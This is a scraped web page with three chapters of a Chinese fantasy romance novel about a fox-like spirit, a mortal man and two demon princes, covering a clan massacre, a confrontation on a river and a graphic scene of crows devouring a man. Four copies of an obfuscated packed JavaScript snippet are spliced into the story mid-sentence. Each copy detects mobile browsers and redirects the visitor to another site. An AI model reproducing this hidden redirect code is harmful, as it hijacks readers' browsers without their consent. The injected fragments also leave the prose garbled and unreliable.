眼前闪过无数个有可能的答案,但心却不受控制地回到以前,陆熙迟半褪的衣衫,陆熙迟敞开的领口,陆熙迟湿透的里衣…… 云意晃了晃脑袋,白曦如果这时看她,就会发现云意整个人都熟透了, “寿岁啊。我们守着天地长久而长命一生,凡人只能活短短几十年,这不更显得他们的寿岁更珍贵?” 这话甫一入耳,心里瞬间清明,云意皱起了眉头。 白曦说得没错。 面前流动着不断后移的风景,云意低低出声:“不该把他卷进来的。” “人家这是心甘情愿入局。” 不听白曦的打趣,云意认真看着白曦的眼睛:“你说得对,他是凡人,寿岁短暂,和我们不一样。他的一生有限,更应该去做令他无悔无憾的事,不该把他卷进来。” 白曦看得出这是她的肺腑之言,但还是忍不住气结:“傻姑娘,我说凡人守岁可贵,是让你抓紧时间好好珍惜你们之间的缘分,不是让你想那么些有的没的。 “再说了,你都没和人家正经说上两句话,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108686|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么知道,你想的就是他想的,你想的就是对的?” 云意再度往帘外看去,陆熙迟似有感应般回过头来。 江上微风轻和,勾起他的头发,她低头又抬头,他的目光一直没有移开。 夜里,陆熙迟在一处芦苇荡前停船靠岸,将绳子穿过河边的榆树,待拉紧了回到船舷上,“我去捡干柴生火。” 帘幕上的人影靠近又离开,云意的目光追出去,一阵风又把帘子盖上。 她什么都看不到了。 夜深幽寂,山里没什么动静,云意轻轻推开一角窗,白曦状似无意地开始担忧:“他一个人,能行吗?这山上黑灯瞎火的,不会有什么事吧?” 说完又长长叹一口气,任谁听了都会觉得这人苦大仇深。 “不会的,他很小心。” “是吗?看来是我想多了,毕竟这人一看就是那种就算摔断了腿,也不会多吭一声的闷头葫芦。” 云意突然想起陆熙迟生病还给自己做饭的事。 “可是你……” “我是有法术的,我可不是手无缚鸡之力的凡人,你还是担心一下你该担心的人吧。” 云意定定神看着她:“那你小心,我去去就回。” 挥手留下一道结界,云意才离开。 陆熙迟站在一处空地,周围寂静无声,连虫鸣也没有。 他抱紧几条干树枝,望向深空,一颗星也不见,深厚的云层累在空中,挡住了月亮。 眼前漆黑一片。 陆熙迟走向更深黑的另一边,地上的枯枝更多,鞋踩在上面嘎吱作响。 走到某处,他伸出一只脚轻轻踩上去,落叶立刻凹陷了一块,他不做停留地放任自己踩上去,果不其然身体向前一倒。 抱着的枯枝失去平衡地狠狠砸向地面,陆熙迟空悬的肩膀却突然被扶住,他不受控制地倒向旁边,云意揽住他,关切地察看他的脚,“没事吧?” 骤然贴得那么近,陆熙迟停住了呼吸,目光忍不住在她脸上留恋,仔细确认她的存在,一时没有作答。 踩着枯叶,陆熙迟被带离那处。回到平坦的空地,云意放开了扶住陆熙迟的手,“天太黑了,我们回去吧。” “你一直在我身后吗?” “什么?” “原来你一直在我身后,也是,你向来走路都没有什么声音,以前在家的时候,我也总怕踩到你。” 云意听他这么自然地提到以前,不自然地走开了几步,和他拉开了距离。 陆熙迟捡起掉落在地上的枯枝,走上去,缩小这段空白:“你接下来要去哪儿?要回家吗?回钟山?” 云意垂眸,没有去纠正他,“时候不早了,白曦还在船里,我们快回去吧。” “云意。”这是他第二次叫他的名字。 “那天,我并没有看得很真切,但就算我看到你变成人或变成猫,我也从来没有想过要去伤害你。” “从来没有。”他认真地强调,一双眸子清亮地看着她,“我只是有些惊讶,只是惊讶。” “我知道你们不是普通人,也有不想面对的人,让我帮你,可以吗?” “你说你不害怕?”云意停下步子。 “你知道我是什么吗?你面前站着的是你们口中的妖怪,是一个异类,你认不出我是猫还是什么的异类,说不怕就当真不怕吗?” “那我应该怕什么?怕你杀了我灭口还是像话本上那样吸干我的精气?所以从此远离你?”陆熙迟忍不住拉住云意的手,又怕控制不好力道弄疼她,最后只得放开。 “我把你当猫的时候,最怕的也不过就是怕你突然离开,怕你遇到危险、被人欺负……” “陆熙迟,我们终究不是一个世界的人,你该去过正常人的生活。”话还没说完,眼泪更先裹挟着热气挣出眼眶。 “正常人的生活?我不知道什么叫做正常人的生活。我只想选我想选的,这在你眼里是不正常的吗?” “不,没有,不是的。” 云意哭得泣不成声,突见天光大亮,一圈强劲的疾风催折方圆百里的林木,他们二人被震开,云意心口一阵刺痛,她望向风来的方向:“不好,白曦!” 18. 屠族 【误把神灵当狸猫,尘世种种,南柯一梦。不愿神灵泣泪,不愿万般苦难皆系其身,吾该求何所,能全吾意】 ——崇祯五年,二月丙申,冷夜无月 白曦倚着窗闭目养神,耳畔传来细微的响动,她睁开眼睛凝神去听,那声音越来越急促,很快身下也开始小幅度的震动,她探身出去,水面激起一圈一圈又小又密的漩涡,无数水珠震荡,很快升上天空,形成无形的网罩。 阴影瞬间淹没她的整张脸。 一滴水又急又快地下落,啪嗒,在白曦的脸上碎开,水花飞溅,冰凉的触感像极了某人在午夜抚上她侧脸的手。 白曦立马缩进船舱,合上所有窗户,紧紧拽住船舱的帘子,恨不得把自己锁得密不透风。 水滴落回河面的声音密密匝匝,外面仿佛下了一场暴雨,白曦却在这霖霖水落的声音里像是被抽干了所有力气,顺着木框边滑下来,密闭的房间里,一声比一声大的呼吸潮汐般充斥着她不平静的心,好像要把她溺死。 她扯着帘子拉开,一双冰冷的手立时覆盖上她的,玄色叠着赤焰的阔袖带出狠厉的弧度,蟒蛇的金绣纹堆叠在她的裙摆上,缠绕、盘踞,一直蜿蜒到她不容反抗的手上。 “阿曦,找到你了。” 阴影下,半张银锻藤花纹的面具泛着凹凸不平的冷光,黑发中银丝垂落,拂过白曦的侧颈,对方微微垂头矮身进来,布帘垂落,挡住外面的江风。 冰冷的呼吸直抵着白曦不断瑟缩的脖颈,苍白至危险的手抚上面前这脆弱的、软白的脖子,一停转,按向自己,他眷恋地贴上去。 “你离开了我们多久,你知道吗?” “纪明沣……” 白曦脱力地向后倒,纪明沣适时捞住她,困在自己怀里。 “整整一个月,看来阿曦还没有忘记我。” 他的目光一寸一寸量着这张熟悉的脸,掩在面具阴影里的眼睛狭长而幽深,“瘦了,阿曦。” “别这么叫我!”白曦用力将他推开,但蚍蜉撼树,换来的是更用力的紧抱。 “阿曦,刚刚从这艘船里出去的那个男人是谁?短短一个月,阿曦就认识了一个可以同船的凡间男子。我们阿曦,真是惹人怜爱啊。” 危险的语气,纪明沣从后面扣住白曦的腰,脸埋在雪白的颈侧,冰冷的目光扫过那男人站过的船舷,手一寸一寸从她的额头向下,流连至脖子,还想更深,白曦抓住那只手,眼神冰冷。 “纪明沣,你怎么还没死?”白曦一点点吐出声,像是压抑着极大的情绪,目光却无力地不知着落。 “死?”面具紧紧贴着白曦光洁的脸,语气亲昵:“阿曦还在这世上,我又怎敢轻易入轮回?” “你这样的人,怎么配入轮回?” 擦过白曦眼角挂住的泪珠,送进口中,纪明沣扯出一点笑:“阿曦,我入不了轮回,入地狱也行,只要你陪着我。” “阿曦的眼泪还是那么好吃。”嘴唇贴在她的眼角,淡淡提醒道:“阿曦,你还没回答我的问题呢。” “那个男人是谁?” “纪明沣,你真是个疯子。” “疯?没有你我才要疯了。” 纪明沣把手扣紧白曦的,带着往上一点一点从下颌流连到眉头,“阿曦,想看看我这张脸吗?” 白曦用力想挣脱,背后的男人却愈发用力:“你用的毒,没能让我咽气。” “这半张脸却是变得异常狰狞,可谁让你是我的妻呢?以后你只能日日对着你亲手所赐的这半张脸喊我夫君了。” “狰狞?”白曦第一次侧目去看纪明沣,淡漠的眼睛里闪着讥讽与审视:“纪明沣,你杀过的人、屠过的灵族、弑过的神可比你脸上的窟窿更多,你罪孽深重,本就该以命抵命,这次你不死,下次你一定逃不掉。” 纪明沣笑盈盈地听完,手抚上她的腹部,“腹上的伤如何了?这里刚生产完……” “纪明沣,你住嘴!”声音突然提高,白曦背上激起一片颤栗,手下意识捂向耳朵,她不想再听到关于这道疤的任何。 “雨天的时候那疤会疼吗?” 他的手在她腹部伤口上徘徊,怕惊动了什么,轻轻的,若有似无地触碰着,指腹一点点流连在那处的丝缕。 最后又忍不住把头埋过去,低低出声:“我把他放进了魔族世代相传的莲花瓮里,我昏迷的这段时间,也有人每天给他输灵力……” 一声冷笑从嗓子里挤出来,白曦低头看向这个戴着面具的人:“纪明沣,你告诉我,死人要怎么救活?” 声音又恢复了一点平稳,听在纪明沣的耳朵里只觉得无比残忍,“这是我们的孩子,他必须活着,死也得活着。” “纪明沣,你真的疯了。” “我离开的时候,他的身体已经出现尸斑了,你拿什么法器,输再多的灵力都没有用了。” “够了!”纪明沣更加用力地贴紧她的肚子,“阿曦,我们的孩子还在等你回去,一直在等你,不要再让他失望了,好不好?” 像个枕着枕头不放开的孩子般,他安静下来,“我们还没给他取名字呢,其实我想了一个,还没来得及说给你听。等我们回去,我写给你看好不好?你对我做的一切,我都既往不咎……你想杀我,我也既往不咎……” “既往不咎?” 白曦重复着这几个字,无边的苦涩从心底泛开,“你没有资格。” “你屠杀了灵族这么多人,现在却说要来宽恕我?” 锁骨连着的地方青筋暴起,竭力地起伏,压抑的怒火好像随时要爆开了一样,白曦紧闭上眼睛,不再看他,单薄的身体剧烈地颤动,感受着这起伏的纪明沣心里一紧。 “白曦,你还在怪我屠了朏朏一族吗?” 淡蓝色的流光击破水幕,一片水花炸开,打湿藏青色的衣襟,云意站在蓬船外听得格外清晰。 朏朏。 屠族。 陆熙迟也听到了,他看到刚刚还急着去看白曦安危的云意突然停了下来,小小的脸上没有一丝血色。 人的眼睛里怎么能装下这么大的震惊和悲伤,豆大的泪水瞬间盈满整个眼眶,却还强忍着不让它掉出来。 她在颤抖。 她在哭。 云意浑身冰冷地迈动步子往前走,却像足下生铅,一步一步走得尤其艰难,却遏制不住地想要寻求一个答案。 一个多年来不敢回想现在却发现可能早已落空的思念。 指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113291|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝结一记冷光,裹挟着锋利的强风化作冰刃朝船舱上飞去。 纪明沣堪堪化盾接住,四周却被波记。 白曦感到身体一瞬间降至冰点,连心也像是停了下来。 角落里的包袱被打破了。 那条绿帛破碎成好几块,旁边滚落着几支断开的簪子。 云意捧着它们说要给娘亲的画面历历在目,白曦压下一口堵在嗓子的热浪,眼睛开始模糊。 纪明沣冷冷开口:“你在为谁哭?那几根没人要的破簪子?” 他送还一记掌风击出窗外,直面云意。 陆熙迟挺身上前护住云意,向一边的芦苇荡倒去,不料那疾风也跟着转了方向,云意运行法术,掌中结出光盾,那风刃撞上这淡蓝色的屏障,从中间开始一点点碎裂,化为水汽弥散在空中。 蓬船上面向他们的窗拉开一段空隙,云意看到了半张戴着面具的脸。 好像在哪儿见过。 纪明沣上下打量着面前穿着男装的女子,略带讶然:“朏朏?” “你是谁?”云意从这半张面具慢慢移到窗户里能隐约看见的另外一张脸上,那张姣好的脸平日里嬉笑怒骂,此时却目光下移,不敢看云意的眼睛。 纪明沣不答反笑,“他居然没杀干净?” “哦,我想起来了,纪明渊那儿确实有一只漏网之鱼,是你?” 他认识纪明渊? 云意看着那半张没被面具遮住的脸,试图从上面找出与纪明渊相似的影子,“你和纪明渊是什么关系?” 纪明沣看着她认真的神色突然笑了:“你难道不该问我,怎么杀的你们族人,又或者是问我为什么要杀了他们?” 看着云意更加伤心绝望的身影,白曦在船舱内的另一头慢慢起身,浑身冰冷,“纪明沣,你该死。” “阿曦,我不会死的,我和你一起,把我们的孩子,抚养长大。” 虽然嘴上这么说着,但纪明沣的眼睛里却没有起伏。 突然想到什么,纪明沣嘴角一弯:“这只朏朏……是你救出来的?” 白曦用眼神示意云意快走,不要和他硬碰硬,云意皱着眉头看她,眼睛里翻起不信任的疑云。 白曦和纪明渊的哥哥在一起,那她还值得信任吗? 纪明沣没等到回答,但他也没想过会得到任何回答,转而把白曦搂进怀里,散漫地看着外面的朏朏。 “听说,你从风息海跳下去了,真是让人出乎意料,你居然还能活下来。” “纪明渊要是知道了,一定会很高兴,我替你传信给他,怎么样?” 一条绿色的蛇从他袖子里缓缓爬出来,吐着蛇信,白曦神色一凛:“纪明沣!你要做什么?” 绿瘦蛇有剧毒,只要被咬中,疯癫半生,昏迷半生,死后尸身腐烂,就算千里之外,跨越三界,这蛇也能闻着气息找到被它咬过的腐肉,吃进肚子里。 不仅如此,它还能千里传音。 “你不能告诉纪明渊!” “阿曦是在用什么身份和我说话?是我纪明沣的妻子还是视我为敌的仇人?” “够了。” 云意垂下眼睑,努力抑制住心头的崩溃与恨意,“你今日所来为何?杀我?” 19. 再见 “专程来杀你?你还没那个资格。” 纪明沣搂紧白曦的肩头,脸贴上去,鼻尖亲昵地蹭着白曦的脸,眼睛却看着云意,“我是来带我的妻子回家的。” “何况,你是老二的人,我要是动手,老二该怪我多管闲事了。” 纪明沣直起身,眼神饶有兴味地盯着云意,“你说,等纪明渊找到你,你会跟他走还是会死命抵抗?你都在他的笼子里待了这么长时间了,以后被抓回去了,怕不是要待更久?” 云意只是听着,眼睛却不知落在何方,整个人如坠冰窖般,被铺天盖地的寒冷包裹。 陆熙迟抚上云意发冷的指尖,安抚地抓牢她的手心,“别听他胡说,你是自由的,永远都是,没有人能强迫你。” 云意看着他们搭在一起的手,明明他的手已经布满血污,却似乎还是那么干净,温暖地握着她,她尝试着用力回握,试图获取一点温暖。 好像的确能从两只相贴的掌心获得一点能量,她再度抬头,看向纪明沣。 白曦对她摇摇头,神色中满是不忍,让她不要再和纪明沣多做纠缠。 云意撇开了头,还是问出了心中所想:“我家人是怎么死的?” 纪明沣眯起眼睛,好整以暇地看着眼前的人:“纪明渊没告诉你?” “为什么是他告诉我?” 纪明沣缓缓道:“他什么都没和你说?” “我这个二弟啊,看来很在意你,都不愿意告诉你他对你族人做的事,可能是怕你恨他?” “焉知,纸是包不住火的。” 陆熙迟看到面前的身影一滞,发出的声音是前所未有的冷淡,“你把话说清楚。” “父君当年病重,多少仙丹灵药都无用,大祭司说用上古灵兽的元神来做药引便可补足父君的气血两亏。” “二弟可是当下就带人前去霍山,父君让我从旁协助,我才知道他要去杀的是朏朏。” 一百年前,霍山脚下。 无形的守山屏障被穷奇背上的年轻人一举攻破,风声啸耳,纪明沣亦被术法冲击得后退半里。 纪明渊□□银鞍却纹丝不动,白色披风迎风猎猎,他驭下穷奇,一声令下,身披黑甲胄、麒麟羽的魔族士兵兵分三路上山,不过一刻钟就包围了整个霍山。 “二弟可真是神速,这护山的神罩这么快就给破了。” 纪明沣一身龙鳞铠甲还未抵得上用场,这最难的一关就这么被攻破了。 “大哥谬赞,全仰仗大祭司在阵法上的研究,我才可在大哥面前表现一回。”纪明渊在坐骑上表现得很谦逊。 “诶,这朏朏都销声匿迹这么久了,先是被二弟你抓到了一只养在身边,这下更是把朏朏一窝端了,二弟这机缘,当真深不可测呢。” “大哥说笑了,当初那只是大祭司抓的,只是送予我当生辰礼罢了。” 纪明沣见对方不接茬,只好循循善诱:“用朏朏的元神做药引……你手下不就有一只正好的?何必舍近求远?” 纪明渊的神色暗下来,“送给父君的,当然是多多益善。” “二弟此话有理,倒是我狭隘了。” 很快,山上多处传来缉魂钉穿破身体的声音,朏朏空灵悠长的声音第一次如此短促,就像山涧突然干涸,纪明沣听得惋惜,反观纪明渊,脸上却没有什么情绪。 往事历历在目,纪明沣现在去想当时,才觉出点什么:“原来是这样,我这个二弟,还真是用情至深。” 大祭司许是一开始就打的是纪明渊手上那只朏朏的主意,只不过纪明渊不知为何,不想将手上的朏朏交出去,才带军去屠族,美名其曰为父君分忧,实则是为了自己的一点私心。 只不过,二弟这点心思,看来人家不领情呐。 纪明沣说这句话时近乎呢喃,白曦听到了,她诧异地看向云意,见对方脸上并未出现异色,才收回目光,心下一震。 纪明渊对云意? 用情至深? 那边云意紧蹙眉头:“你们怎么能破得了霍山的结界?” 她年幼时曾听族长讲过,霍山的结界是老族长和几位长老倾尽毕生修为才结成的,怎么可能这么轻易就被攻破。而且有人破坏结界,族长怎么可能毫无所觉,若是知道有人攻山,不可能不安排族内小辈逃生,怎么会落得个全族覆灭的下场…… “这个嘛,你问问二弟不就知道了?” 纪明渊…… 他也不过一千两百岁,怎么可能能有这么高的修为? 绿瘦蛇蜿蜒在地上滑过,眼睛发热微黄,讯息已然发出,急于想找冰凉的物体缠上,朝着白曦滑过去。 “那你呢?你又做了什么?” “我?” 纪明渊想到了飘在空中,最后四散在霍山的朏朏元神。 漫天的蓝色星辉,捉不住、摸不着,只能看着他们消散,什么也做不了。 白曦被桎梏在纪明沣的怀里,绿瘦蛇在她的腿上蜿蜒,缠住她的右腿,她不敢再动,一双眼睛怒瞪着纪明沣,大汗淋漓。 风声轻传,人要到了。 纪明沣挽着白曦,“不和你们玩过家家的游戏了,换个人陪你们玩。” 纪明沣一转身,沙石走动,尘土飞扬,云意挥出酝酿已久的杀招。 巨大的力量冲击过来,纪明沣眼尾一挑,绿瘦蛇顺着白曦腿上爬下来,小小的一尾,体型瞬间庞大数倍,张开深渊巨口,疾厉的风搅得江浪翻涌,直直朝云意扑去。 陆熙迟已经站不稳,云意站在风口化盾抵抗,他牢牢扒住旁边的巨石,“云意,小心!” “真是不识好歹,我本不欲和你多做纠缠。” 船顶被掀翻,白曦裙带飘摇,伤口被风扯得疼,痛吟出声。 “阿曦,怎么了?” “疼……”她倚进纪明沣的怀里,柔若无骨,眉头紧蹙,手指纤纤地顺势按下纪明沣操控绿瘦蛇的手。 纪明沣揽住她,云意趁势蓄力一发,纪明沣脸上一空,脖子上落了一道血痕,头发散落,银丝飘荡。 面具被劈成了两块,应声掉落在地。 原本因担忧而软下来的眼睛瞬间冷硬起来,白曦看到像被烧伤萎缩的半张脸上全是大大小小的凸起,往后一退,腰却被死死缠住。 “你怕我?” “阿曦。”纪明沣缓缓伸手,按住白曦垂落的手,“最不该怕我的人,就是你。” “这些疤难看吗?拜你所赐啊,我的娘子。” 云意被法术震得吐出一口鲜血,陆熙迟扶住她的腰,想将她带离。 “还想跑到哪儿去?” 那半张脸侧过来,阴鸷的一双眼泛着冷光,眼皮上面还有鲜血的印记,四周水汽凝结,汇成一个转得越来越快的漩涡。 见势不好,云意用力推搡着陆熙迟,用尽最后的力气把他传送出去,“陆熙迟……你快走……” 消失的余光里,云意看着他,恳求的目光盈满泪光。 人送出去了。 她咽下嗓子涌上来的腥甜,站起来,小小的身体在逆风中鼎立。 纪明沣掌中生风,想要使出最后一击。 “大哥,怎么闹出这么大的动静。” 江上风浪回平,一人自水上而来,不急不徐,身影逐渐明晰。 纪明沣缓缓侧首,纪明渊来了。 “我当是谁呢,原来是二弟啊。” 他收回法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118047|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术放下手,绿瘦蛇回袖笼。 “大哥这是?” 纪明渊微微诧异地盯着他的那半张脸。 “无事。” 见纪明沣不想深谈,纪明渊也没再继续,自然而然地联想到了前些日子他中毒的事,脸上的笑意更深。 “大哥还抓到了这只狐狸。” 纪明沣冷笑一声,重复道:“狐狸?” 嘴角微微下撇,仿佛在说,这也是你叫的? “二弟还是管好你自己手下的人吧。” 纪明渊顺着纪明沣的目光看去,云意嘴角带血地站在那儿。 “这朏朏难不成是惹恼了大哥,大哥出手这么重。” 都流血了。 纪明沣冷哼一声,算做默认。 纪明渊慢慢走近云意,那面带憎色的人脸十分陌生,唯一能看出昔日影子的,唯有那双眼睛,熟悉的目光,熟悉的厌恶、冰冷,现在还多了一抹憎恨。 “你还活着。” 平静的陈述口吻。 云意咽下一口血沫,“你还没死,我怎么能死。” “对啊,我还没死,你怎么能死。” “原来,你化形是这个样子。” 纪明渊的手伸向云意的脸,被她偏头躲过。 “刚刚在救那个凡人?” “你就这么念着他,血要给他喝,救他一次还不够,还要多救几次才行?” 一声抑制不住的冷笑。 “你以为,他能跑到哪儿去。” 陆熙迟手上还做着拉云意的姿势,现在手中陡然落空,他向前抓了抓,一片空白。 “云意!” 无人应答。 “云意!” 头顶一个黑影掠过,扑朔着落了片羽毛。 刚刚还在身旁飘荡的芦苇现在已经不见影子,滔天的河水翻腾也不见踪影,陆熙迟茫然地环视周围,一棵棵参天巨木把他围住,没有一片叶子。 乌鸦啼叫,拉长尾音。 “云意!” 陆熙迟在这林中穿梭,不见人影,不闻人声。 她一个人很危险,他得回去帮她。 “流了这么多血。”纪明渊手抚上去,擦掉血迹,云意审视着他眼睛里的神色。 手上做着堪称温柔的动作,眼睛里却是冰冷一片,没有情绪。 这就是纪明渊,永远有两副面孔。 “你怎么不把我一起杀了?” 正在擦血的手一顿,纪明渊缓缓放下,“为什么要杀你?” “那你为什么要杀我的族人?” 质问的声音里含着一丝哭声,纪明渊皱眉。 “你都知道了。” 是谁说的,不言而喻。 纪明渊转头看向纪明沣,纪明沣挑了挑眉,好整以暇地看戏。 他缓缓转回头,“那你现在要给你的族人报仇?” 白曦对云意暗暗摇了摇头,神色凄楚。 云意闭上眼睛,睁开又恢复了一片清明。 “我打不过你。但我会勉力一试。” “变成人了,脑子却没多少长进。打不过还要试?” 纪明渊淡淡提醒道:“你要是死了,这世上就一只朏朏也没了。” 陆熙迟还在走,这片林子像是没有尽头。 又撞上了鬼打墙,兜兜转转仍在原地。 一只乌鸦停下来落在他肩膀上,却没有重量。 陆熙迟停下来,对上肩头那只乌鸦漆黑的眼睛,尖尖的喙占了这张脸的大半,须臾,这颗头转开。 陆熙迟想继续走,眼前却落下一片阴影。 一群乌鸦向他扑过来,瞬间淹没他,啃食他的血肉。 20. 回忆 月亮从云层后出现,露出一点皎洁的圆弧,照得江面波光粼粼。 纪明沣喉头又浮起一阵温热的痒意,他压下去,弯腰抱起白曦,转身向江上迈去。 挨近自己的那半张完好的脸在月光下显得更加苍白,就像一件挂着碎片的白瓷,白曦问:“你怎么了?” 纪明沣用气声说:“回家。” 纪明沣抱着人,一步一步往前走,被涟漪割破的月亮在江上的倒影不断前移,他的脚步盛满月光一步一步踩着残影,脚下生冰,远远看去,一条冰道蜿蜒而去,连接着远处的尽头。 白曦耳朵贴近处,隔着纪明沣衣服感受到的心跳越来越弱、越来越弱。 她挣扎着要下来,“你到底怎么了?” “云意那一击绝对不可能伤到你的心脉,你到底怎么了……” 纪明沣把人放下来,胸口骤然缩紧,他踉跄跌坐下来,身下的冰不受控制地向四周蔓延,不一会儿就冻结到了两岸。 从他身上散发出的寒气,弥漫在天地间,似乎连风都有了形状,白曦站在其中,俯视着纪明沣倒在冰上,他一只手难耐地抓着冰面,弓着身强忍着痛苦,狰狞的那半张脸弯曲成她没见过的样子。 “纪明沣。” “你要死了吗?” 纪明沣攥紧胸口,衣服被揉得不成样子,皱成一团。 竟是连说话的力气也没了。 白曦闭上眼睛,裙摆感觉到了一点拉拽,她放任着那点力量,暗暗期待它会越来越大,最后却渐渐消失。 “阿曦……” 白曦把裙摆轻轻抽离,纪明沣望过来,眼神里失落、空洞,好像能装进无尽的情绪,白曦弯腰捧住那张脸,一道醒目的疤横亘在上面,把一张脸劈成两半,一半祈求、一半沉默得近乎无情。 “你也会露出这种表情吗?” 残破的这半张脸近乎悲伤到绝望,是挽留、祈求。 “究竟哪个才是真正的你呢?” 她的指尖若有似无地抚过纪明沣更多完好的那半张脸,惨白得发冷,似乎对一切都没有情感,对一切残忍都能沉默地接受。 “你要离开我了吗?” 江上的冰开始消融,由远及近,白曦缓缓直起身,看向天空中的皓月。 “我给你下的毒,叫阿摩罗,你本可以不用死的。” 只用一直睡着,直到梦境消散,就可以醒来,完好无损地醒来。 可是他强行破除,遭到反噬,脸部溃烂,根基受损。 这何尝不是一种报应。 枯树林里。 陆熙迟被无数从黑夜中袭来的黑影扑倒。 尖嘴啃咬上他的耳朵,脖子和后颈,他的身体就像一棵树桩,上面盘踞了无数专心进食的乌鸦。 混乱中,他肩膀上那一只似乎看了他一眼,飞离了密密匝匝的乌鸦群。 他出不了声,挣脱不得,手被无数张嘴牵制住,眼睛上感觉站了无数双脚,褶皱到尖锐的脚底胡乱踩着,衣服破了一个又一个的洞,肌肤暴露出来,被啃啮,血光让它们更加兴奋。 在黑暗中,感受到的疼痛无比清晰,好像有什么在从他身体上剥落。 他摸到一块。 血腥气蔓延开来。 是他的皮,混着鲜血一起。 眼睛也好痛,被叼啄下的肉进了乌鸦的嘴里,它们扑腾着翅膀,表达着吃肉的喜悦。 眼皮上已经没有几块好地方。 坑坑洼洼的地方和鱼被踢掉鱼鳞的样子差不多。 像被烫开一个又一个窟窿。 远处一阵风飘过来,在他身上的乌鸦像是被什么惊扰,一下子四散开去,不做停留。 陆熙迟挣扎着想要站起来,才发现小腿肚已经没有可以发力的地方。 那处已经被啄空了。 他该怎么去找云意? “可看到了?你送走的人,最后还是逃不出这里。” 云意跌倒在地,被挟住后颈,被迫看着水幕里浮起的镜像。 黑乎乎的一片不辨树种的林子里,一个浑身是血的人倒在血泊里,他在努力地动,想要站起来。 眼泪在眼眶里打转。 纪明渊缓缓蹲下来,从她的眼睛里看不到自己的半点影子。 “你看着我!” 云意眼尾滑过一行混着脸上血色的泪花。 “你因为什么哭?” “我曾经那么对你,你都没哭!你现在是因为什么哭!” “说话!”他掰过云意的下半张脸强迫她看向自己。 “你看着我。” 云意闭上了眼睛。 “你就那么不想看见我?一眼都不想?” 纪明渊看着镜中人像,冷冷出声:“我会杀了他。” 闻言云意睁开眼睛。 像被抽去了所有力气,她的眼睛没有神采地看着水镜,陆熙迟倒在地上,身上没有一块好肉,嘴巴却还在动,嗫嚅着说了什么。 她直起身体仔细去看,嘴巴也跟着动,缓缓吐出声:“云意……云意……” 泪水决堤,她跌坐回去,失神地看着水镜,“他说的是云意,是云意。” 她仔细地看他的周围,根本看不出来这儿是哪里,她近乎无助地出声:“他在哪儿?” 纪明渊忍不住讥讽道:“不是你把他送走的吗?” 换来的是他不想听到的,更彷徨凄凉的声音:“是啊,我把他送走的,是我送走的……” “他叫你云意?你的凡间名字?” 像是自动屏蔽掉纪明渊说的话:云意低低出声:“我要去见他。” “什么?”一声冷笑,又转为震惊,纪明渊看着那个普通的凡人,眼睛眯成危险的弧度,“这个凡人马上就会化成一具枯骨,你看到了也做不了什么。” 云意站起来,就像一株花在风中仰头,“那也好过,什么也不做。” “你以为你还能走得了吗?你从风息海跳下去的那一刻,我就在想,如果你没死,被我找到了,我再也不会让你离开我的视线半步。” 云意转头,头发在刚刚的打斗中已经散落,此时随意披在她的肩头,微风挑起一角,把那张仿佛有无尽情绪的脸掩藏在时有时无的发丝后,纪明渊感到一阵莫名的心头紧缩。 “纪明渊,今天我走不出这里,我会和你同归于尽。” “他值得你赌上你的性命?” 云意沉默良久,才回答:“纪明渊,你没被关在笼子里过,你不知道可以随意行走的世界有多美好。” “我现在一看到你,我就会想到我娘,想到族长,想到族里所有人都被你杀害,我恨你,也恨我自己,我无数次回想,要是三百年前,我没有走出霍山,今日该是怎样的光景。” “够了。” 水镜里那个凡人已经昏迷过去,倒在地上像一具散架的骷髅,却还有人关心、注视,甚至要为他拼上性命。 他看着云意:“那就恨着吧。” 云意后退一步,眼带憎恶,再后退,一直到水里,河水打湿裤脚,忽然身体一轻,眼前迷蒙一片。 “快走!” 白曦带着她瞬间就到几丈之外。 云意回望,没有人追过来,微微诧异,白曦捂住她的口鼻,与她传心音:“别乱动,这药粉有毒。” 见白曦蒙着面,云意不再乱动,待停下,云意运气检查周身,确保没什么异样,问道:“这是什么药粉?” “阿摩罗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122171|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是什么东西?” 